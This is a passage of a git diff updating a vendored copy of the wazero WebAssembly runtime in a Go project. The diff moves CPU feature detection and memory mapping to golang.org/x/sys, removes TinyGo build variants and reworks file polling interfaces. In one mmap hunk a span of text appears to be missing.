*cpuFeatureFlags) HasExtra(cpuFeature CpuFeature) bool { - return (f.extraFlags & uint64(cpuFeature)) != 0 -} +// CpuFeatures exposes the capabilities for this CPU, queried via the Has method. +var CpuFeatures = loadCpuFeatureFlags() -// Raw implements the same method on the CpuFeatureFlags interface. -func (f *cpuFeatureFlags) Raw() uint64 { - // Below, we only set bits for the features we care about, - // instead of setting all the unnecessary bits obtained from the - // CPUID instruction. - var ret uint64 - if f.Has(CpuFeatureAmd64SSE3) { - ret = 1 << 0 - } - if f.Has(CpuFeatureAmd64SSE4_1) { - ret |= 1 << 1 +func loadCpuFeatureFlags() (flags CpuFeatureFlags) { + if cpu.X86.HasSSE41 { + flags |= CpuFeatureAmd64SSE4_1 } - if f.Has(CpuFeatureAmd64SSE4_2) { - ret |= 1 << 2 + if cpu.X86.HasBMI1 { + flags |= CpuFeatureAmd64BMI1 } - if f.HasExtra(CpuExtraFeatureAmd64ABM) { - ret |= 1 << 3 + // x/sys/cpu does not track the ABM explicitly. + // LZCNT combined with BMI1 and BMI2 completes the expanded ABM instruction set. + // Intel includes LZCNT in BMI1, and all AMD CPUs with POPCNT also have LZCNT. + if cpu.X86.HasBMI1 && cpu.X86.HasBMI2 && cpu.X86.HasPOPCNT { + flags |= CpuFeatureAmd64ABM } - return ret + return } diff --git a/vendor/github.com/tetratelabs/wazero/internal/platform/cpuid_amd64.s b/vendor/github.com/tetratelabs/wazero/internal/platform/cpuid_amd64.s deleted file mode 100644 index 4950ee62..00000000 --- a/vendor/github.com/tetratelabs/wazero/internal/platform/cpuid_amd64.s +++ /dev/null @@ -1,16 +0,0 @@ -//go:build gc - -#include "textflag.h" - -// lifted from github.com/intel-go/cpuid and src/internal/cpu/cpu_x86.s - -// func cpuid(arg1, arg2 uint32) (eax, ebx, ecx, edx uint32) -TEXT ·cpuid(SB), NOSPLIT, $0-24 - MOVL arg1+0(FP), AX - MOVL arg2+4(FP), CX - CPUID - MOVL AX, eax+8(FP) - MOVL BX, ebx+12(FP) - MOVL CX, ecx+16(FP) - MOVL DX, edx+20(FP) - RET diff --git a/vendor/github.com/tetratelabs/wazero/internal/platform/cpuid_arm64.go b/vendor/github.com/tetratelabs/wazero/internal/platform/cpuid_arm64.go index 5430353f..c53f627d 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/platform/cpuid_arm64.go +++ b/vendor/github.com/tetratelabs/wazero/internal/platform/cpuid_arm64.go @@ -1,71 +1,13 @@ -//go:build gc - package platform -import "runtime" +import "golang.org/x/sys/cpu" -// CpuFeatures exposes the capabilities for this CPU, queried via the Has, HasExtra methods. +// CpuFeatures exposes the capabilities for this CPU, queried via the Has method. var CpuFeatures = loadCpuFeatureFlags() -// cpuFeatureFlags implements CpuFeatureFlags interface. -type cpuFeatureFlags struct { - isar0 uint64 - isar1 uint64 -} - -// implemented in cpuid_arm64.s -func getisar0() uint64 - -// implemented in cpuid_arm64.s -func getisar1() uint64 - -func loadCpuFeatureFlags() CpuFeatureFlags { - switch runtime.GOOS { - case "darwin", "windows": - // These OSes do not allow userland to read the instruction set attribute registers, - // but basically require atomic instructions: - // - "darwin" is the desktop version (mobile version is "ios"), - // and the M1 is a ARMv8.4. - // - "windows" requires them from Windows 11, see page 12 - // https://download.microsoft.com/download/7/8/8/788bf5ab-0751-4928-a22c-dffdc23c27f2/Minimum%20Hardware%20Requirements%20for%20Windows%2011.pdf - return &cpuFeatureFlags{ - isar0: uint64(CpuFeatureArm64Atomic), - isar1: 0, - } - case "linux", "freebsd": - // These OSes allow userland to read the instruction set attribute registers, - // which is otherwise restricted to EL0: - // https://kernel.org/doc/Documentation/arm64/cpu-feature-registers.txt - // See these for contents of the registers: - // https://developer.arm.com/documentation/ddi0601/latest/AArch64-Registers/ID-AA64ISAR0-EL1--AArch64-Instruction-Set-Attribute-Register-0 - // https://developer.arm.com/documentation/ddi0601/latest/AArch64-Registers/ID-AA64ISAR1-EL1--AArch64-Instruction-Set-Attribute-Register-1 - return &cpuFeatureFlags{ - isar0: getisar0(), - isar1: getisar1(), - } - default: - return &cpuFeatureFlags{} - } -} - -// Has implements the same method on the CpuFeatureFlags interface. -func (f *cpuFeatureFlags) Has(cpuFeature CpuFeature) bool { - return (f.isar0 & uint64(cpuFeature)) != 0 -} - -// HasExtra implements the same method on the CpuFeatureFlags interface. -func (f *cpuFeatureFlags) HasExtra(cpuFeature CpuFeature) bool { - return (f.isar1 & uint64(cpuFeature)) != 0 -} - -// Raw implements the same method on the CpuFeatureFlags interface. -func (f *cpuFeatureFlags) Raw() uint64 { - // Below, we only set bits for the features we care about, - // instead of setting all the unnecessary bits obtained from the - // instruction set attribute registers. - var ret uint64 - if f.Has(CpuFeatureArm64Atomic) { - ret = 1 << 0 +func loadCpuFeatureFlags() (flags CpuFeatureFlags) { + if cpu.ARM64.HasATOMICS { + flags |= CpuFeatureArm64Atomic } - return ret + return } diff --git a/vendor/github.com/tetratelabs/wazero/internal/platform/cpuid_arm64.s b/vendor/github.com/tetratelabs/wazero/internal/platform/cpuid_arm64.s deleted file mode 100644 index 98305ad4..00000000 --- a/vendor/github.com/tetratelabs/wazero/internal/platform/cpuid_arm64.s +++ /dev/null @@ -1,21 +0,0 @@ -//go:build gc - -#include "textflag.h" - -// lifted from github.com/golang/sys and cpu/cpu_arm64.s - -// func getisar0() uint64 -TEXT ·getisar0(SB), NOSPLIT, $0-8 - // get Instruction Set Attributes 0 into x0 - // mrs x0, ID_AA64ISAR0_EL1 = d5380600 - WORD $0xd5380600 - MOVD R0, ret+0(FP) - RET - -// func getisar1() uint64 -TEXT ·getisar1(SB), NOSPLIT, $0-8 - // get Instruction Set Attributes 1 into x0 - // mrs x0, ID_AA64ISAR1_EL1 = d5380620 - WORD $0xd5380620 - MOVD R0, ret+0(FP) - RET diff --git a/vendor/github.com/tetratelabs/wazero/internal/platform/cpuid_unsupported.go b/vendor/github.com/tetratelabs/wazero/internal/platform/cpuid_unsupported.go index 50a178f5..8f748ff8 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/platform/cpuid_unsupported.go +++ b/vendor/github.com/tetratelabs/wazero/internal/platform/cpuid_unsupported.go @@ -1,17 +1,5 @@ -//go:build !(amd64 || arm64) || !gc +//go:build !(amd64 || arm64) package platform -var CpuFeatures CpuFeatureFlags = &cpuFeatureFlags{} - -// cpuFeatureFlags implements CpuFeatureFlags for unsupported platforms. -type cpuFeatureFlags struct{} - -// Has implements the same method on the CpuFeatureFlags interface. -func (c *cpuFeatureFlags) Has(cpuFeature CpuFeature) bool { return false } - -// HasExtra implements the same method on the CpuFeatureFlags interface. -func (c *cpuFeatureFlags) HasExtra(cpuFeature CpuFeature) bool { return false } - -// Raw implements the same method on the CpuFeatureFlags interface. -func (c *cpuFeatureFlags) Raw() uint64 { return 0 } +const CpuFeatures CpuFeatureFlags = 0 diff --git a/vendor/github.com/tetratelabs/wazero/internal/platform/mmap_linux.go b/vendor/github.com/tetratelabs/wazero/internal/platform/mmap_linux.go index 55906e82..f3eabde2 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/platform/mmap_linux.go +++ b/vendor/github.com/tetratelabs/wazero/internal/platform/mmap_linux.go @@ -6,13 +6,8 @@ import ( "sort" "strconv" "strings" - "syscall" -) -const ( - // https://man7.org/linux/man-pages/man2/mmap.2.html - __MAP_HUGE_SHIFT = 26 - __MAP_HUGETLB = 0x40000 + "golang.org/x/sys/unix" ) var hugePagesConfigs []hugePagesConfig @@ -50,7 +45,7 @@ func init() { n *= 1024 hugePagesConfigs = append(hugePagesConfigs, hugePagesConfig{ size: int(n), - flag: int(bits.TrailingZeros64(n)<<__MAP_HUGE_SHIFT) | __MAP_HUGETLB, + flag: int(bits.TrailingZeros64(n)< 0 { - _p0 = unsafe.Pointer(&b[0]) - } - const prot = syscall.PROT_READ | syscall.PROT_EXEC - _, _, e1 := syscall.Syscall(syscall.SYS_MPROTECT, uintptr(_p0), uintptr(len(b)), uintptr(prot)) - if e1 != 0 { - err = syscall.Errno(e1) - } - return -} diff --git a/vendor/github.com/tetratelabs/wazero/internal/platform/mprotect_syscall.go b/vendor/github.com/tetratelabs/wazero/internal/platform/mprotect_syscall.go deleted file mode 100644 index 6fe96d6f..00000000 --- a/vendor/github.com/tetratelabs/wazero/internal/platform/mprotect_syscall.go +++ /dev/null @@ -1,10 +0,0 @@ -//go:build (linux || darwin) && !tinygo - -package platform - -import "syscall" - -// MprotectRX is like syscall.Mprotect with RX permission. -func MprotectRX(b []byte) (err error) { - return syscall.Mprotect(b, syscall.PROT_READ|syscall.PROT_EXEC) -} diff --git a/vendor/github.com/tetratelabs/wazero/internal/platform/mprotect_unsupported.go b/vendor/github.com/tetratelabs/wazero/internal/platform/mprotect_unsupported.go deleted file mode 100644 index 84719ab0..00000000 --- a/vendor/github.com/tetratelabs/wazero/internal/platform/mprotect_unsupported.go +++ /dev/null @@ -1,9 +0,0 @@ -//go:build solaris && !tinygo - -package platform - -import "syscall" - -func MprotectRX(b []byte) error { - return syscall.ENOTSUP -} diff --git a/vendor/github.com/tetratelabs/wazero/internal/platform/platform.go b/vendor/github.com/tetratelabs/wazero/internal/platform/platform.go index 532cc7b8..c7098444 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/platform/platform.go +++ b/vendor/github.com/tetratelabs/wazero/internal/platform/platform.go @@ -1,7 +1,4 @@ // Package platform includes runtime-specific code needed for the compiler or otherwise. -// -// Note: This is a dependency-free alternative to depending on parts of Go's x/sys. -// See /RATIONALE.md for more context. package platform import ( @@ -17,8 +14,16 @@ func CompilerSupported() bool { } func CompilerSupports(features api.CoreFeatures) bool { + if !compilerPlatformSupports(features) { + return false + } + // Won't panic + return executableMmapSupported() +} + +func compilerPlatformSupports(features api.CoreFeatures) bool { switch runtime.GOOS { - case "linux", "darwin", "freebsd", "netbsd", "dragonfly", "windows": + case "linux", "darwin", "freebsd", "netbsd", "windows": if runtime.GOARCH == "arm64" { if features.IsEnabled(experimental.CoreFeaturesThreads) { return CpuFeatures.Has(CpuFeatureArm64Atomic) @@ -26,25 +31,21 @@ func CompilerSupports(features api.CoreFeatures) bool { return true } fallthrough - case "solaris", "illumos": + case "dragonfly", "solaris", "illumos": return runtime.GOARCH == "amd64" && CpuFeatures.Has(CpuFeatureAmd64SSE4_1) default: return false } } -// MmapCodeSegment copies the code into the executable region and returns the byte slice of the region. +// MmapCodeSegment allocates and returns a byte slice to copy executable code into. // // See https://man7.org/linux/man-pages/man2/mmap.2.html for mmap API and flags. func MmapCodeSegment(size int) ([]byte, error) { if size == 0 { panic("BUG: MmapCodeSegment with zero length") } - if runtime.GOARCH == "amd64" { - return mmapCodeSegmentAMD64(size) - } else { - return mmapCodeSegmentARM64(size) - } + return mmapCodeSegment(size) } // MunmapCodeSegment unmaps the given memory region. @@ -54,3 +55,17 @@ func MunmapCodeSegment(code []byte) error { } return munmapCodeSegment(code) } + +func executableMmapSupported() bool { + seg, err := MmapCodeSegment(1) + if err != nil { + return false + } + defer func() { + _ = MunmapCodeSegment(seg) + }() + if err := MprotectCodeSegment(seg); err != nil { + return false + } + return true +} diff --git a/vendor/github.com/tetratelabs/wazero/internal/platform/time_notcgo.go b/vendor/github.com/tetratelabs/wazero/internal/platform/time_notcgo.go deleted file mode 100644 index 0697b7c7..00000000 --- a/vendor/github.com/tetratelabs/wazero/internal/platform/time_notcgo.go +++ /dev/null @@ -1,7 +0,0 @@ -//go:build !cgo && !windows - -package platform - -func nanotime() int64 { - return nanotimePortable() -} diff --git a/vendor/github.com/tetratelabs/wazero/internal/platform/time_cgo.go b/vendor/github.com/tetratelabs/wazero/internal/platform/time_notwindows.go similarity index 89% rename from vendor/github.com/tetratelabs/wazero/internal/platform/time_cgo.go rename to vendor/github.com/tetratelabs/wazero/internal/platform/time_notwindows.go index ff01d90c..a1bdc8d5 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/platform/time_cgo.go +++ b/vendor/github.com/tetratelabs/wazero/internal/platform/time_notwindows.go @@ -1,4 +1,4 @@ -//go:build cgo && !windows +//go:build !windows package platform diff --git a/vendor/github.com/tetratelabs/wazero/internal/platform/time_windows.go b/vendor/github.com/tetratelabs/wazero/internal/platform/time_windows.go index 58731fc8..53bf421a 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/platform/time_windows.go +++ b/vendor/github.com/tetratelabs/wazero/internal/platform/time_windows.go @@ -4,11 +4,13 @@ package platform import ( "math/bits" + "syscall" "time" "unsafe" ) var ( + kernel32 = syscall.NewLazyDLL("kernel32.dll") _QueryPerformanceCounter = kernel32.NewProc("QueryPerformanceCounter") _QueryPerformanceFrequency = kernel32.NewProc("QueryPerformanceFrequency") ) @@ -21,13 +23,11 @@ func init() { // On Windows, time.Time handled in time package cannot have the nanosecond precision. // The reason is that by default, it doesn't use QueryPerformanceCounter[1], but instead, use "interrupt time" -// which doesn't support nanoseconds precision (though it is a monotonic) [2, 3, 4, 5]. +// which doesn't support nanoseconds precision (though it is a monotonic) [2, 3]. // // [1] https://learn.microsoft.com/en-us/windows/win32/api/profileapi/nf-profileapi-queryperformancecounter -// [2] https://github.com/golang/go/blob/0cd309e12818f988693bf8e4d9f1453331dcf9f2/src/runtime/sys_windows_amd64.s#L297-L298 -// [3] https://github.com/golang/go/blob/0cd309e12818f988693bf8e4d9f1453331dcf9f2/src/runtime/os_windows.go#L549-L551 -// [4] https://github.com/golang/go/blob/master/src/runtime/time_windows.h#L7-L13 -// [5] http://web.archive.org/web/20210411000829/https://wrkhpi.wordpress.com/2007/08/09/getting-os-information-the-kuser_shared_data-structure/ +// [2] https://github.com/golang/go/blob/go1.24.0/src/runtime/sys_windows_amd64.s#L279-L284 +// [3] https://github.com/golang/go/blob/go1.24.0/src/runtime/time_windows.h#L7-L13 // // Therefore, on Windows, we directly invoke the syscall for QPC instead of time.Now or runtime.nanotime. // See https://github.com/golang/go/issues/31160 for example. diff --git a/vendor/github.com/tetratelabs/wazero/internal/sock/sock_supported.go b/vendor/github.com/tetratelabs/wazero/internal/sock/sock_supported.go index e317be83..32f9bc4b 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sock/sock_supported.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sock/sock_supported.go @@ -1,4 +1,4 @@ -//go:build !plan9 && !js && !tinygo +//go:build !(plan9 || js) package sock diff --git a/vendor/github.com/tetratelabs/wazero/internal/sock/sock_unsupported.go b/vendor/github.com/tetratelabs/wazero/internal/sock/sock_unsupported.go index 77026754..76ec031e 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sock/sock_unsupported.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sock/sock_unsupported.go @@ -1,4 +1,4 @@ -//go:build plan9 || js || tinygo +//go:build plan9 || js package sock diff --git a/vendor/github.com/tetratelabs/wazero/internal/sys/fs.go b/vendor/github.com/tetratelabs/wazero/internal/sys/fs.go index 157de788..cd70a793 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sys/fs.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sys/fs.go @@ -7,7 +7,6 @@ import ( "github.com/tetratelabs/wazero/experimental/sys" "github.com/tetratelabs/wazero/internal/descriptor" - "github.com/tetratelabs/wazero/internal/fsapi" socketapi "github.com/tetratelabs/wazero/internal/sock" "github.com/tetratelabs/wazero/internal/sysfs" ) @@ -51,7 +50,7 @@ type FileEntry struct { FS sys.FS // File is always non-nil. - File fsapi.File + File sys.File // direntCache is nil until DirentCache was called. direntCache *DirentCache @@ -272,7 +271,7 @@ func (c *FSContext) OpenFile(fs sys.FS, path string, flag sys.Oflag, perm fs.Fil if f, errno := fs.OpenFile(path, flag, perm); errno != 0 { return 0, errno } else { - fe := &FileEntry{FS: fs, File: fsapi.Adapt(f)} + fe := &FileEntry{FS: fs, File: f} if path == "/" || path == "." { fe.Name = "" } else { @@ -329,12 +328,14 @@ func (c *FSContext) SockAccept(sockFD int32, nonblock bool) (int32, sys.Errno) { return 0, errno } - fe := &FileEntry{File: fsapi.Adapt(conn)} + fe := &FileEntry{File: conn} if nonblock { - if errno = fe.File.SetNonblock(true); errno != 0 { - _ = conn.Close() - return 0, errno + if pf, ok := fe.File.(sys.PollableFile); ok { + if errno = pf.SetNonblock(true); errno != 0 { + _ = conn.Close() + return 0, errno + } } } @@ -412,7 +413,7 @@ func (c *Context) InitFSContext( } for _, tl := range tcpListeners { - c.fsc.openedFiles.Insert(&FileEntry{IsPreopen: true, File: fsapi.Adapt(sysfs.NewTCPListenerFile(tl))}) + c.fsc.openedFiles.Insert(&FileEntry{IsPreopen: true, File: sysfs.NewTCPListenerFile(tl)}) } return nil } diff --git a/vendor/github.com/tetratelabs/wazero/internal/sys/lazy.go b/vendor/github.com/tetratelabs/wazero/internal/sys/lazy.go index fe233d29..b38ed381 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sys/lazy.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sys/lazy.go @@ -2,7 +2,6 @@ package sys import ( experimentalsys "github.com/tetratelabs/wazero/experimental/sys" - "github.com/tetratelabs/wazero/internal/fsapi" "github.com/tetratelabs/wazero/sys" ) @@ -134,18 +133,3 @@ func (d *lazyDir) Close() experimentalsys.Errno { } return f.Close() } - -// IsNonblock implements the same method as documented on fsapi.File -func (d *lazyDir) IsNonblock() bool { - return false -} - -// SetNonblock implements the same method as documented on fsapi.File -func (d *lazyDir) SetNonblock(bool) experimentalsys.Errno { - return experimentalsys.EISDIR -} - -// Poll implements the same method as documented on fsapi.File -func (d *lazyDir) Poll(fsapi.Pflag, int32) (ready bool, errno experimentalsys.Errno) { - return false, experimentalsys.ENOSYS -} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sys/stdio.go b/vendor/github.com/tetratelabs/wazero/internal/sys/stdio.go index 32c33661..e9841448 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sys/stdio.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sys/stdio.go @@ -5,7 +5,6 @@ import ( "os" experimentalsys "github.com/tetratelabs/wazero/experimental/sys" - "github.com/tetratelabs/wazero/internal/fsapi" "github.com/tetratelabs/wazero/internal/sysfs" "github.com/tetratelabs/wazero/sys" ) @@ -24,6 +23,19 @@ func (f *StdinFile) Read(buf []byte) (int, experimentalsys.Errno) { return n, experimentalsys.UnwrapOSError(err) } +// Poll implements the same method as documented on experimentalsys.Pollable +func (f *StdinFile) Poll(flag experimentalsys.Pflag, timeoutMillis int32) (ready bool, errno experimentalsys.Errno) { + if p, ok := f.Reader.(experimentalsys.Pollable); ok { + return p.Poll(flag, timeoutMillis) + } + + if flag != experimentalsys.POLLIN { + return false, experimentalsys.ENOTSUP + } + + return true, 0 // No poll support; assume always ready +} + type writerFile struct { noopStdoutFile @@ -48,9 +60,9 @@ func (noopStdinFile) Read([]byte) (int, experimentalsys.Errno) { return 0, 0 // Always EOF } -// Poll implements the same method as documented on fsapi.File -func (noopStdinFile) Poll(flag fsapi.Pflag, timeoutMillis int32) (ready bool, errno experimentalsys.Errno) { - if flag != fsapi.POLLIN { +// Poll implements the same method as documented on experimentalsys.Pollable +func (noopStdinFile) Poll(flag experimentalsys.Pflag, timeoutMillis int32) (ready bool, errno experimentalsys.Errno) { + if flag != experimentalsys.POLLIN { return false, experimentalsys.ENOTSUP } return true, 0 // always ready to read nothing @@ -84,21 +96,6 @@ func (noopStdioFile) IsDir() (bool, experimentalsys.Errno) { // Close implements the same method as documented on sys.File func (noopStdioFile) Close() (errno experimentalsys.Errno) { return } -// IsNonblock implements the same method as documented on fsapi.File -func (noopStdioFile) IsNonblock() bool { - return false -} - -// SetNonblock implements the same method as documented on fsapi.File -func (noopStdioFile) SetNonblock(bool) experimentalsys.Errno { - return experimentalsys.ENOSYS -} - -// Poll implements the same method as documented on fsapi.File -func (noopStdioFile) Poll(fsapi.Pflag, int32) (ready bool, errno experimentalsys.Errno) { - return false, experimentalsys.ENOSYS -} - func stdinFileEntry(r io.Reader) (*FileEntry, error) { if r == nil { return &FileEntry{Name: "stdin", IsPreopen: true, File: &noopStdinFile{}}, nil diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/datasync_linux.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/datasync_linux.go index 5a8a415c..792d0db2 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/datasync_linux.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/datasync_linux.go @@ -1,5 +1,3 @@ -//go:build linux && !tinygo - package sysfs import ( diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/datasync_tinygo.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/datasync_tinygo.go deleted file mode 100644 index e58fc914..00000000 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/datasync_tinygo.go +++ /dev/null @@ -1,13 +0,0 @@ -//go:build tinygo - -package sysfs - -import ( - "os" - - "github.com/tetratelabs/wazero/experimental/sys" -) - -func datasync(f *os.File) sys.Errno { - return sys.ENOSYS -} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/dirfs.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/dirfs.go index 04384038..aba7a65e 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/dirfs.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/dirfs.go @@ -3,6 +3,7 @@ package sysfs import ( "io/fs" "os" + "path" experimentalsys "github.com/tetratelabs/wazero/experimental/sys" "github.com/tetratelabs/wazero/internal/platform" @@ -63,6 +64,48 @@ func (d *dirFS) Mkdir(path string, perm fs.FileMode) (errno experimentalsys.Errn return } +// Chmod implements the same method as documented on sys.FS +func (d *dirFS) Chmod(path string, perm fs.FileMode) experimentalsys.Errno { + err := os.Chmod(d.join(path), perm) + return experimentalsys.UnwrapOSError(err) +} + +// Rename implements the same method as documented on sys.FS +func (d *dirFS) Rename(from, to string) experimentalsys.Errno { + from, to = d.join(from), d.join(to) + return rename(from, to) +} + +// Rmdir implements the same method as documented on sys.FS +func (d *dirFS) Rmdir(path string) experimentalsys.Errno { + return rmdir(d.join(path)) +} + +// Unlink implements the same method as documented on sys.FS +func (d *dirFS) Unlink(path string) (err experimentalsys.Errno) { + return unlink(d.join(path)) +} + +// Link implements the same method as documented on sys.FS +func (d *dirFS) Link(oldName, newName string) experimentalsys.Errno { + err := os.Link(d.join(oldName), d.join(newName)) + return experimentalsys.UnwrapOSError(err) +} + +// Symlink implements the same method as documented on sys.FS +func (d *dirFS) Symlink(oldName, link string) experimentalsys.Errno { + // Creating a symlink with an absolute path string fails with a "not permitted" error. + // https://github.com/WebAssembly/wasi-filesystem/blob/v0.2.0/path-resolution.md#symlinks + if path.IsAbs(oldName) { + return experimentalsys.EPERM + } + // Note: do not resolve `oldName` relative to this dirFS. The link result is always resolved + // when dereference the `link` on its usage (e.g. readlink, read, etc). + // https://github.com/bytecodealliance/cap-std/blob/v1.0.4/cap-std/src/fs/dir.rs#L404-L409 + err := os.Symlink(oldName, d.join(link)) + return experimentalsys.UnwrapOSError(err) +} + // Readlink implements the same method as documented on sys.FS func (d *dirFS) Readlink(path string) (string, experimentalsys.Errno) { // Note: do not use syscall.Readlink as that causes race on Windows. @@ -74,11 +117,6 @@ func (d *dirFS) Readlink(path string) (string, experimentalsys.Errno) { return platform.ToPosixPath(dst), 0 } -// Rmdir implements the same method as documented on sys.FS -func (d *dirFS) Rmdir(path string) experimentalsys.Errno { - return rmdir(d.join(path)) -} - // Utimens implements the same method as documented on sys.FS func (d *dirFS) Utimens(path string, atim, mtim int64) experimentalsys.Errno { return utimens(d.join(path), atim, mtim) diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/dirfs_supported.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/dirfs_supported.go deleted file mode 100644 index a949bd54..00000000 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/dirfs_supported.go +++ /dev/null @@ -1,48 +0,0 @@ -//go:build !tinygo - -package sysfs - -import ( - "io/fs" - "os" - "path" - - experimentalsys "github.com/tetratelabs/wazero/experimental/sys" -) - -// Link implements the same method as documented on sys.FS -func (d *dirFS) Link(oldName, newName string) experimentalsys.Errno { - err := os.Link(d.join(oldName), d.join(newName)) - return experimentalsys.UnwrapOSError(err) -} - -// Unlink implements the same method as documented on sys.FS -func (d *dirFS) Unlink(path string) (err experimentalsys.Errno) { - return unlink(d.join(path)) -} - -// Rename implements the same method as documented on sys.FS -func (d *dirFS) Rename(from, to string) experimentalsys.Errno { - from, to = d.join(from), d.join(to) - return rename(from, to) -} - -// Chmod implements the same method as documented on sys.FS -func (d *dirFS) Chmod(path string, perm fs.FileMode) experimentalsys.Errno { - err := os.Chmod(d.join(path), perm) - return experimentalsys.UnwrapOSError(err) -} - -// Symlink implements the same method as documented on sys.FS -func (d *dirFS) Symlink(oldName, link string) experimentalsys.Errno { - // Creating a symlink with an absolute path string fails with a "not permitted" error. - // https://github.com/WebAssembly/wasi-filesystem/blob/v0.2.0/path-resolution.md#symlinks - if path.IsAbs(oldName) { - return experimentalsys.EPERM - } - // Note: do not resolve `oldName` relative to this dirFS. The link result is always resolved - // when dereference the `link` on its usage (e.g. readlink, read, etc). - // https://github.com/bytecodealliance/cap-std/blob/v1.0.4/cap-std/src/fs/dir.rs#L404-L409 - err := os.Symlink(oldName, d.join(link)) - return experimentalsys.UnwrapOSError(err) -} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/dirfs_unsupported.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/dirfs_unsupported.go deleted file mode 100644 index 98b1a3b8..00000000 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/dirfs_unsupported.go +++ /dev/null @@ -1,34 +0,0 @@ -//go:build tinygo - -package sysfs - -import ( - "io/fs" - - experimentalsys "github.com/tetratelabs/wazero/experimental/sys" -) - -// Link implements the same method as documented on sys.FS -func (d *dirFS) Link(oldName, newName string) experimentalsys.Errno { - return experimentalsys.ENOSYS -} - -// Unlink implements the same method as documented on sys.FS -func (d *dirFS) Unlink(path string) (err experimentalsys.Errno) { - return experimentalsys.ENOSYS -} - -// Rename implements the same method as documented on sys.FS -func (d *dirFS) Rename(from, to string) experimentalsys.Errno { - return experimentalsys.ENOSYS -} - -// Chmod implements the same method as documented on sys.FS -func (d *dirFS) Chmod(path string, perm fs.FileMode) experimentalsys.Errno { - return experimentalsys.ENOSYS -} - -// Symlink implements the same method as documented on sys.FS -func (d *dirFS) Symlink(oldName, link string) experimentalsys.Errno { - return experimentalsys.ENOSYS -} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/file.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/file.go index 1b6d5f3d..1d786f26 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/file.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/file.go @@ -7,11 +7,10 @@ import ( "time" experimentalsys "github.com/tetratelabs/wazero/experimental/sys" - "github.com/tetratelabs/wazero/internal/fsapi" "github.com/tetratelabs/wazero/sys" ) -func NewStdioFile(stdin bool, f fs.File) (fsapi.File, error) { +func NewStdioFile(stdin bool, f fs.File) (experimentalsys.File, error) { // Return constant stat, which has fake times, but keep the underlying // file mode. Fake times are needed to pass wasi-testsuite. // https://github.com/WebAssembly/wasi-testsuite/blob/af57727/tests/rust/src/bin/fd_filestat_get.rs#L1-L19 @@ -27,7 +26,7 @@ func NewStdioFile(stdin bool, f fs.File) (fsapi.File, error) { } else { flag = experimentalsys.O_WRONLY } - var file fsapi.File + var file experimentalsys.File if of, ok := f.(*os.File); ok { // This is ok because functions that need path aren't used by stdioFile file = newOsFile("", flag, 0, of) @@ -63,10 +62,37 @@ func OpenFSFile(fs fs.FS, path string, flag experimentalsys.Oflag, perm fs.FileM } type stdioFile struct { - fsapi.File + experimentalsys.File st sys.Stat_t } +// IsNonblock implements experimentalsys.PollableFile by forwarding to the +// underlying file if it supports it. +func (f *stdioFile) IsNonblock() bool { + if pf, ok := f.File.(experimentalsys.PollableFile); ok { + return pf.IsNonblock() + } + return false +} + +// SetNonblock implements experimentalsys.PollableFile by forwarding to the +// underlying file if it supports it. +func (f *stdioFile) SetNonblock(enable bool) experimentalsys.Errno { + if pf, ok := f.File.(experimentalsys.PollableFile); ok { + return pf.SetNonblock(enable) + } + return experimentalsys.ENOSYS +} + +// Poll implements experimentalsys.Pollable by forwarding to the underlying file +// if it supports polling. +func (f *stdioFile) Poll(flag experimentalsys.Pflag, timeoutMillis int32) (ready bool, errno experimentalsys.Errno) { + if p, ok := f.File.(experimentalsys.Pollable); ok { + return p.Poll(flag, timeoutMillis) + } + return false, experimentalsys.ENOSYS +} + // SetAppend implements File.SetAppend func (f *stdioFile) SetAppend(bool) experimentalsys.Errno { // Ignore for stdio. @@ -341,18 +367,45 @@ func (f *fsFile) close() experimentalsys.Errno { return experimentalsys.UnwrapOSError(f.file.Close()) } -// IsNonblock implements the same method as documented on fsapi.File +// nonblocker is a subset of PollableFile for checking non-blocking mode on +// an fs.File. fs.File cannot implement PollableFile due to conflicting Close +// signatures (error vs Errno), so we use this narrower interface. +type nonblocker interface { + IsNonblock() bool + SetNonblock(enable bool) experimentalsys.Errno +} + +// IsNonblock implements experimentalsys.PollableFile by forwarding to the +// underlying fs.File if it supports it. func (f *fsFile) IsNonblock() bool { + if nb, ok := f.file.(nonblocker); ok { + return nb.IsNonblock() + } return false } -// SetNonblock implements the same method as documented on fsapi.File -func (f *fsFile) SetNonblock(bool) experimentalsys.Errno { +// SetNonblock implements experimentalsys.PollableFile by forwarding to the +// underlying fs.File if it supports it. +func (f *fsFile) SetNonblock(enable bool) experimentalsys.Errno { + if nb, ok := f.file.(nonblocker); ok { + return 